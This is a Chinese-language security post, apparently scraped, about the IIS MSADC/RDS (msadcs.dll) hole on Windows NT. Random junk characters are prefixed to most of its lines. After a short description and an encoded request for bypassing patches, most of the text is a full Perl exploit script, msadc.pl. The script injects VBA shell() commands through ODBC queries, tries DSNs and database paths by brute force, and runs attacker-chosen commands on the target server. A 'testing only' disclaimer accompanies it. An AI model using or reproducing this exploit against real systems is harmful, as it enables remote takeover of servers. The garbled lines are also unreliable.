IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
VotI5O $ OQDx82E 涉及程序:
7j"B-k# Microsoft NT server
{q&A/ T <RWz 描述:
_HAr0R8BY 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
GF0Utp:Zf; clr]gib 详细:
qLB(Th\&' 如果你没有时间读详细内容的话,就删除:
%F<3_#Y c:\Program Files\Common Files\System\Msadc\msadcs.dll
fJi?~[5< 有关的安全问题就没有了。
Nt[&rO3s RC!T1o~L 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
eqpnh^0}d v^ 1x} 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
0JhUncx 关于利用ODBC远程漏洞的描述,请参看:
DyQvk Tn$|
Xa+:s http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm By<~h/uJ ; d} 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Q}#H|@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp M|>-q pf0uwXo 这里不再论述。
'b_SQ2+A
w Qp{z 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
JZ-M<rcC PU\@^)$ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
HGW;] 8xl 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
TJs@V>, puGy`9eKv1 );^{;fLy% #将下面这段保存为txt文件,然后: "perl -x 文件名"
PmDar<m 1{wOjq(4 #!perl
&MP8.(u ` #
DzY`O@D[ # MSADC/RDS 'usage' (aka exploit) script
zx5t
gZd,N #
9K{0x7~ # by rain.forest.puppy
hhOrO<( #
4$v08zZ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
6r)qM)97 # beta test and find errors!
e1K{*h v=+> ids use Socket; use Getopt::Std;
' :,p6 getopts("e:vd:h:XR", \%args);
nZUBblRJ) !q*]_1 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
PPNZ(j /?:]f if (!defined $args{h} && !defined $args{R}) {
6z+*H7Qz print qq~
1Q9eS& Usage: msadc.pl -h <host> { -d <delay> -X -v }
NSAp.m
-h <host> = host you want to scan (ip or domain)
_"[O=h: -d <seconds> = delay between calls, default 1 second
-Cf<
#'x_ -X = dump Index Server path table, if available
p"J\+R -v = verbose
%5?0+~ -e = external dictionary file for step 5
dp>Lh TLc Jm
G)=$, Or a -R will resume a command session
`LVX|l62 wmgKh)`@_{ ~; exit;}
,vUMy&AV %g%#=a;]q $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
ehls:)F if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
`LCxxpHi| if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
G( y@Tor+ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
.;9I:YB$ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
WqRg/ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Nv_"?er+y uEkUK| if (!defined $args{R}){ $ret = &has_msadc;
_}wy|T&7k& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
uCpk1d Z(-@8=0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
8'Ph/L, . "cmd /c ";
FA;uu\ $in=<STDIN>; chomp $in;
1PJ8O|Zt8 $command="cmd /c " . $in ;
KcX] g*wy nA^UF_rD- if (defined $args{R}) {&load; exit;}
Y vjRJ nXqZkZE\ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{ sL(PS.z &try_btcustmr;
9l:Bum)9 p,+$7f1S print "\nStep 2: Trying to make our own DSN...";
geu8$^ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
A?*_14& i<nUp1r( print "\nStep 3: Trying known DSNs...";
ryp@<}A]!d &known_dsn;
nr<&j#!L j*jO809%^ print "\nStep 4: Trying known .mdbs...";
pV^hZ. &known_mdb;
r$~
f[cA r z%=qY if (defined $args{e}){
q@x{6zj print "\nStep 5: Trying dictionary of DSN names...";
^g2p!7 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
T!N,1"r L7tC?F]}SK print "Sorry Charley...maybe next time?\n";
@cZNoD exit;
fu 95-)M e'uI~%$NJL ##############################################################################
/a$RJ6t&3 dF%sD|<) sub sendraw { # ripped and modded from whisker
4X2/n sleep($delay); # it's a DoS on the server! At least on mine...
3yu{Q z5y, my ($pstr)=@_;
uiIY,FL$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
agFWye die("Socket problems\n");
ggUJ -M'2h if(connect(S,pack "SnA4x8",2,80,$target)){
)Aky:kM$ select(S); $|=1;
|:i``gFj print $pstr; my @in=<S>;
s:y=X$&M select(STDOUT); close(S);
5? `*i" return @in;
r9@Q="J_) } else { die("Can't connect...\n"); }}
3%<xM/# nx >PZb ##############################################################################
\$Nx`daFi 9ci=]C5o3K sub make_header { # make the HTTP request
T&=1IoOg my $msadc=<<EOT
FU|c[u|z POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
KN;b+`x;M User-Agent: ACTIVEDATA
PXk+Vi,%k Host: $ip
0 ej!!WP Content-Length: $clen
Z`5v6"Na Connection: Keep-Alive
i#
1:DiF Q2)z1'Wv ADCClientVersion:01.06
daIt `} s Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
joh=0nk;D ~'e/lX9g- --!ADM!ROX!YOUR!WORLD!
&zr..i4O Content-Type: application/x-varg
c"3 a,& Content-Length: $reqlen
H|H!VPof] eM*@zo<- EOT
qsUlfv9L6 ; $msadc=~s/\n/\r\n/g;
!' No5 return $msadc;}
$*bd})y)I L
"L@4B ##############################################################################
p-zWfXn!P :mU,g|~55 sub make_req { # make the RDS request
5Y
4W:S my ($switch, $p1, $p2)=@_;
~B%=g)w my $req=""; my $t1, $t2, $query, $dsn;
P"%i 4-S WVp7H if ($switch==1){ # this is the btcustmr.mdb query
Kv[,!P"Y $query="Select * from Customers where City=" . make_shell();
nl|}_~4U $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+%G*)8N3 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
iXc-_V6 X 5LI elsif ($switch==2){ # this is general make table query
2yhtJ9/ $query="create table AZZ (B int, C varchar(10))";
EnJAHgRV;e $dsn="$p1";}
SxYX`NQ `J^J_s elsif ($switch==3){ # this is general exploit table query
yG5T;O& $query="select * from AZZ where C=" . make_shell();
Af:4 XSO6 $dsn="$p1";}
!6ZkLE[XJ< x[3kCa|4A elsif ($switch==4){ # attempt to hork file info from index server
_^'fp $query="select path from scope()";
b<qv
/t)$ $dsn="Provider=MSIDXS;";}
g83!il\ M=$y_9# elsif ($switch==5){ # bad query
@4m_\]Wy $query="select";
B&_ 62` $dsn="$p1";}
.9WJ/RKZ\D d{@X-4k: $t1= make_unicode($query);
}> k9]Y $t2= make_unicode($dsn);
*Wv]DV=\ $req = "\x02\x00\x03\x00";
>De\2gbJ $req.= "\x08\x00" . pack ("S1", length($t1));
nJny9g $req.= "\x00\x00" . $t1 ;
*usfJ- $req.= "\x08\x00" . pack ("S1", length($t2));
6I(y`pJ $req.= "\x00\x00" . $t2 ;
wHk4BWg- $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;8;nY6Ie return $req;}
W|3XD-v@ |C@)#.nm[ ##############################################################################
n*%<!\gJ ^:K"Tv.= sub make_shell { # this makes the shell() statement
B2%)G$B return "'|shell(\"$command\")|'";}
YMwMaU)K, mCe,(/>l+ ##############################################################################
LWc}j`Wd u4NMJnX sub make_unicode { # quick little function to convert to unicode
|HJdpY>Uu my ($in)=@_; my $out;
nbMnqkNb for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
^ q @.yL return $out;}
j|9;")
1 u#?K/sU ##############################################################################
;g: TsYwM Z$Ynar sub rdo_success { # checks for RDO return success (this is kludge)
JQ'NFl9< my (@in) = @_; my $base=content_start(@in);
`f}c 1 if($in[$base]=~/multipart\/mixed/){
@#1k+tSA, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Rk56H return 0;}
C<2vuZD H=z@!rJc. ##############################################################################
~Rk%M$E9 (F]f{8 sub make_dsn { # this makes a DSN for us
Ooz+V;#Q my @drives=("c","d","e","f");
gpsEN(.w print "\nMaking DSN: ";
RG[3LX/ foreach $drive (@drives) {
s
d>&6R^ print "$drive: ";
JJ q= {; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
g4P059 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
,2DKp hh . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
{*As-Y:'F $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Vp\BNq_!s return 0 if $2 eq "404"; # not found/doesn't exist
qiiX49}{ if($2 eq "200") {
\y{Bnp5h foreach $line (@results) {
\szx.IZT return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
fzRzkn:= } return 0;}
b~ \i}n1Qd ##############################################################################
S&8gZ~B .t4IR
=Z sub verify_exists {
JSt%L|}Y my ($page)=@_;
3Tg my @results=sendraw("GET $page HTTP/1.0\n\n");
iDlIx8PI return $results[0];}
"wmQ,= xvQJTRk ##############################################################################
"2)<'4q5) )?joF) sub try_btcustmr {
YQ
g03i my @drives=("c","d","e","f");
x"K<@mR5G my @dirs=("winnt","winnt35","winnt351","win","windows");
FEw51a+V Hu|NS {Ke- foreach $dir (@dirs) {
gfw,S; print "$dir -> "; # fun status so you can see progress
"2}04b|" foreach $drive (@drives) {
muo(bR8 print "$drive: "; # ditto
{N[IjY $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Pon 2!$ $reqlenlen=length( "$reqlen" );
'0 GCaL*Sd $clen= 206 + $reqlenlen + $reqlen;
<33[qt~ cBBc^SR my @results=sendraw(make_header() . make_req(1,$drive,$dir));
'ADt<m_$ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
&Hb6 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
=\AI92 |8c3%jve ##############################################################################
vr/V_ n'v[[bmu sub odbc_error {
'W3>lAPx! my (@in)=@_; my $base;
*4Y1((1k my $base = content_start(@in);
f}0(qN/G if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
2B3H-` $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~dC)EG $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ZwB<
{? $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Mi,yg=V return $in[$base+4].$in[$base+5].$in[$base+6];}
nZ>qM]">u print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
4 FW~Y print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
hU3c;6]3 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
>K1)XP fAm^-uq[ ##############################################################################
SGre[+m~m G`9Ud sub verbose {
_(5SiK R my ($in)=@_;
/ @X! return if !$verbose;
K>l$Y#x}k print STDOUT "\n$in\n";}
8s-y+M@. E'j>[C:U ##############################################################################
rE;*MqYt& ' 7+x,TszI sub save {
gPh; my ($p1, $p2, $p3, $p4)=@_;
<iuESeDG open(OUT, ">rds.save") || print "Problem saving parameters...\n";
LdwWB
`L print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
f
<fa+fB close OUT;}
[^$nt zUXQl{ ##############################################################################
?OW
4J0B' N9tH0 sub load {
m~'! my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
M(KsLu1
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@)1>ba @p=<IN>; close(IN);
7n9&@D3:P $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%OB:lAeJ $target= inet_aton($ip) || die("inet_aton problems");
-KhNsUQk print "Resuming to $ip ...";
.T
6NMIp* $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
zsFzF`[k if($p[1]==1) {
njtz,qt_;G $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
~7+7{9g $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
1fm4:xHH my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Q^prHn*@ if (rdo_success(@results)){print "Success!\n";}
C-E~z{ else { print "failed\n"; verbose(odbc_error(@results));}}
c[J?`8 elsif ($p[1]==3){
%V71W3>6WS if(run_query("$p[3]")){
qq.M]?Z print "Success!\n";} else { print "failed\n"; }}
-0r0M) elsif ($p[1]==4){
\@;$xdA$ if(run_query($drvst . "$p[3]")){
yiO!ZT print "Success!\n"; } else { print "failed\n"; }}
a?S5 = exit;}
4&X
D
%c"PMTq( ##############################################################################
?g^42IYG TwlX'iI_; sub create_table {
39to5s, my ($in)=@_;
*;t\!XDgp $reqlen=length( make_req(2,$in,"") ) - 28;
]xC#XYE:dy $reqlenlen=length( "$reqlen" );
WJWi'|C4 $clen= 206 + $reqlenlen + $reqlen;
.7&V@A7 my @results=sendraw(make_header() . make_req(2,$in,""));
.a2b&}/.d return 1 if rdo_success(@results);
?C)a0>L my $temp= odbc_error(@results); verbose($temp);
SW5V:|/ return 1 if $temp=~/Table 'AZZ' already exists/;
Gu+9R> return 0;}
%]7'2 01=nS? ##############################################################################
*/c4b:s >*s_)IH2 sub known_dsn {
k%uR!cL # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,1/O2aQ%\0 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
%"-bG'Yc "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"| Oj!&0 "banner", "banners", "ads", "ADCDemo", "ADCTest");
LNp{lC 5. ibH foreach $dSn (@dsns) {
-Zq\x' print ".";
#1*#3p9UL next if (!is_access("DSN=$dSn"));
q9Zp8&<EqH if(create_table("DSN=$dSn")){
f~Y;ZvB print "$dSn successful\n";
G0#<SJ,) if(run_query("DSN=$dSn")){
~,ZU+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=LXjq~p print "Something's borked. Use verbose next time\n";}}} print "\n";}
/pY-how%! %,T=|5 ##############################################################################
>~@O\n-t S[ch/ sub is_access {
@k=UB&?I my ($in)=@_;
lXtsnQOOK $reqlen=length( make_req(5,$in,"") ) - 28;
P:D;w2'Q $reqlenlen=length( "$reqlen" );
UE9RrfdN $clen= 206 + $reqlenlen + $reqlen;
;~D$rT my @results=sendraw(make_header() . make_req(5,$in,""));
Q g~cYwX my $temp= odbc_error(@results);
mR["xDHD verbose($temp); return 1 if ($temp=~/Microsoft Access/);
/H4Z.|@ return 0;}
nTsKJX%\ '9{`Czc(Gb ##############################################################################
+3uPHpMB- +*RaX (&
sub run_query {
e5RF6roxO my ($in)=@_;
vB74r]'F $reqlen=length( make_req(3,$in,"") ) - 28;
|I[/Fl: $reqlenlen=length( "$reqlen" );
[)+wke9 $clen= 206 + $reqlenlen + $reqlen;
e,kxg^ my @results=sendraw(make_header() . make_req(3,$in,""));
:FT x#cZ return 1 if rdo_success(@results);
"I3
#/~q my $temp= odbc_error(@results); verbose($temp);
$RH. return 0;}
vtq$@#?~ b O&dBLh!G ##############################################################################
c@3mfc{ !"2S'oQKS sub known_mdb {
.n n&K}h my @drives=("c","d","e","f","g");
(Bq^
D9 my @dirs=("winnt","winnt35","winnt351","win","windows");
N0DzFXp my $dir, $drive, $mdb;
)J*M{Gm 6i my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
AH{#RD '-U&S # this is sparse, because I don't know of many
SR$ 'JGfp my @sysmdbs=( "\\catroot\\icatalog.mdb",
7}:+Yx "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
3
,zW6 -} "\\system32\\certmdb.mdb",
0iYo&q'n "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
lZAXDxhnT NSa6\.W) my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
fB80&G9 "\\cfusion\\cfapps\\forums\\forums_.mdb",
V&*|%,q "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
{J1iheuS} "\\cfusion\\cfapps\\security\\realm_.mdb",
}?\^^v h7 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
#M%K82" "\\cfusion\\database\\cfexamples.mdb",
.TMLg(2hgv "\\cfusion\\database\\cfsnippets.mdb",
vgE
-t "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
h ;@c%Vm "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
@U3:9~Q "\\cfusion\\brighttiger\\database\\cleam.mdb",
+Xp1=2Mq "\\cfusion\\database\\smpolicy.mdb",
qJ sH "\\cfusion\\database\cypress.mdb",
dz?On\66 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
|1GOm=GNK "\\website\\cgi-win\\dbsample.mdb",
*`}
!{
Mb "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
FDFwx| "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
-woFKAy` ); #these are just
'hE'h?-7 foreach $drive (@drives) {
B0U(B\~Y foreach $dir (@dirs){
?&'Kw>s@ foreach $mdb (@sysmdbs) {
e|?eY)_ print ".";
^U5Qb"hz if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
9: .m]QN print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
? cXW\A( if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
/ej[oR print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
j+fib} 8} } else { print "Something's borked. Use verbose next time\n"; }}}}}
$*VZa3B\ {,i-V57-h foreach $drive (@drives) {
tKS[ foreach $mdb (@mdbs) {
IU<lF) PF$ print ".";
)Gavjj&uJ if(create_table($drv . $drive . $dir . $mdb)){
:hT.L3n, print "\n" . $drive . $dir . $mdb . " successful\n";
c<, LE@V if(run_query($drv . $drive . $dir . $mdb)){
d<+hQ\BF, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
N8pV[\f } else { print "Something's borked. Use verbose next time\n"; }}}}
?2l`%l5( }
Th$Z9+() WW.@S5 ##############################################################################
_P=+\[|y d#TA20` sub hork_idx {
n\)1Bz print "\nAttempting to dump Index Server tables...\n";
`LNhamp print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
j g//I<D $reqlen=length( make_req(4,"","") ) - 28;
J$sBfOD $reqlenlen=length( "$reqlen" );
0^R, d M $clen= 206 + $reqlenlen + $reqlen;
:_y!p my @results=sendraw2(make_header() . make_req(4,"",""));
T>]T= if (rdo_success(@results)){
=6qTz3t my $max=@results; my $c; my %d;
rf-yUH]&S for($c=19; $c<$max; $c++){
r<vy6 $results[$c]=~s/\x00//g;
q\}+]|nGs $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
H<[~V0= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
`vMhrn $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5VP0Xa ~ $d{"$1$2"}="";}
8q%y(e foreach $c (keys %d){ print "$c\n"; }
Pw| h`[h } else {print "Index server doesn't seem to be installed.\n"; }}
L-}J=n\ J,:&U
wkv ##############################################################################
Bcarx<P-p FLs$ sub dsn_dict {
f+Acs*.GQ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
C+uW]]~I) while(<IN>){
|4g0@}nr+W $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
(5 @H next if (!is_access("DSN=$dSn"));
Y*$>d/E if(create_table("DSN=$dSn")){
ka!v(j{E print "$dSn successful\n";
5e$1KN` if(run_query("DSN=$dSn")){
\7i_2|w print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
u1L^INo/ print "Something's borked. Use verbose next time\n";}}}
Jn^b}bk t print "\n"; close(IN);}
3r,~-6 u*v<